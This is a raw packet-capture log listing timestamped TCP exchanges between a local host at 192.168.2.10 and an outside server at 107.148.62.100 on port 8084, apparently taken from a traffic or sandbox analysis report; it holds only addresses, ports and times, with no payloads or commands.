Dec 18, 2024 13:21:44.443826914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.443865061 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.444641113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.444771051 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.444809914 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.459045887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.459157944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.459214926 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.467561007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.467652082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.467690945 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.467995882 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.468087912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.468127012 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.468975067 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.470350981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.470388889 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.470525980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.470786095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.470838070 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.470973969 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.471056938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.471088886 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.471993923 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.472101927 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.472146988 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.472984076 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.473074913 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.473123074 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.473997116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.474102974 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.474140882 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.474996090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.475131035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.475174904 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.476007938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.517713070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.517733097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.517776012 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.517991066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.518027067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.524307013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.524447918 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.524490118 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.524806976 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.524893045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.524928093 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.525752068 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.525778055 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.525810003 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.526492119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.547715902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.547761917 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.547765970 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.558504105 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.558546066 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.558763981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.558969975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.559004068 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.559051037 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.560058117 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.560091019 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.560100079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.561027050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.561064005 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.561121941 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.562032938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.562067986 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.562201977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.563117027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.563194990 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.563246965 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.564012051 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.564093113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.564476013 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.565083027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.565119028 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.565232992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.566282034 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.566318989 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.566390038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.567234039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.567248106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.567276001 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.568190098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.568223000 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.568228006 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.569272995 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.569314957 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.569370031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.570657015 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.570693016 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.570739031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.571625948 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.571666956 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.571702957 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.572308064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.572350979 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.704618931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.704919100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.704968929 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.705073118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.705085993 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.705118895 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.705980062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.729198933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.729212999 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.729254007 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.729456902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.729490995 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.729552031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.730443954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.730473042 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.730552912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.731504917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.731543064 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.731625080 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.732434988 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.732469082 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.732556105 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.733520985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.733551025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.733555079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.734486103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.734560013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.734571934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.735594988 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.735634089 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.735666037 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.736486912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.736516953 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.736560106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.737454891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.737536907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.737556934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.738588095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.738624096 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.738734007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.739411116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.739470959 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.871651888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.871674061 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.871687889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.871757984 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.886409044 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.886430025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.886511087 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.886677980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.886714935 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.886850119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.886955976 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.887000084 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.891335964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891354084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891367912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891379118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891391993 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891407013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.891431093 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.891472101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.892278910 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.892431021 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.892466068 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.893410921 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.893424988 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.893466949 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.894217014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.894231081 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.894274950 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.895524979 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.895539045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.895591021 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.896338940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.896518946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.896559954 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.896747112 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.896760941 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.896796942 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.896958113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.897041082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.897078991 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.897936106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.898029089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.898067951 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.898967028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.899023056 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.899060965 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.899897099 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.900055885 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.900099993 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.900923967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.900973082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.901005030 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.915646076 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.915663958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.915724993 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.939358950 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.939374924 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.939421892 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.942503929 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.942538023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.942578077 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.942739964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.948966980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.949001074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.949013948 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.955566883 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.955601931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.955610991 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.968879938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.968913078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.968924999 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.979624987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.979676008 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.979697943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.985857964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.985867977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.985907078 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.989866018 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.989886045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.989908934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.998301029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.998347998 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.998347998 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.998625040 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.998663902 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.005624056 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.005698919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.005737066 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.027443886 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.027476072 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.027555943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.040988922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.041182041 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.041228056 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.041557074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.054128885 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.054178953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.054220915 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.066164970 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.066206932 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.066281080 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.067397118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.067414045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.067464113 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.082051992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.082084894 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.082108974 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.097002029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.097106934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.097172022 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.108083010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.108139038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.108169079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.108575106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.108624935 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.147397995 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.147444010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.147527933 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.147819042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.156835079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.156893969 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.156943083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.157273054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.157306910 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.166706085 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.166798115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.167162895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.167205095 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.190005064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.190074921 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.190128088 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.190439939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.190480947 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.200557947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.200632095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.200984001 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.201044083 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.208915949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.208934069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.208946943 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.208966970 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.209002972 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.239233017 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.239249945 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.239321947 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.486042023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.486151934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.486217022 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.486471891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.486608028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.486835957 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.487536907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.487711906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.487760067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.488650084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.488744020 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.488940001 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.489486933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.489578009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.489622116 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.490622997 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.490751982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.490881920 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.491471052 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.491590023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.491638899 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.492481947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.492662907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.492712021 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.493501902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.493655920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.493710041 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.494575977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.494647980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.494719028 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.495587111 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.495748997 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.496243954 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.496556044 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.496685028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.497477055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.497626066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.497709036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.498068094 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.498672009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.498744965 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.498788118 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.499492884 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.499619007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.499663115 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.500488043 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.500624895 CET	8084	49833	107.148.62.100	192.168.2.10
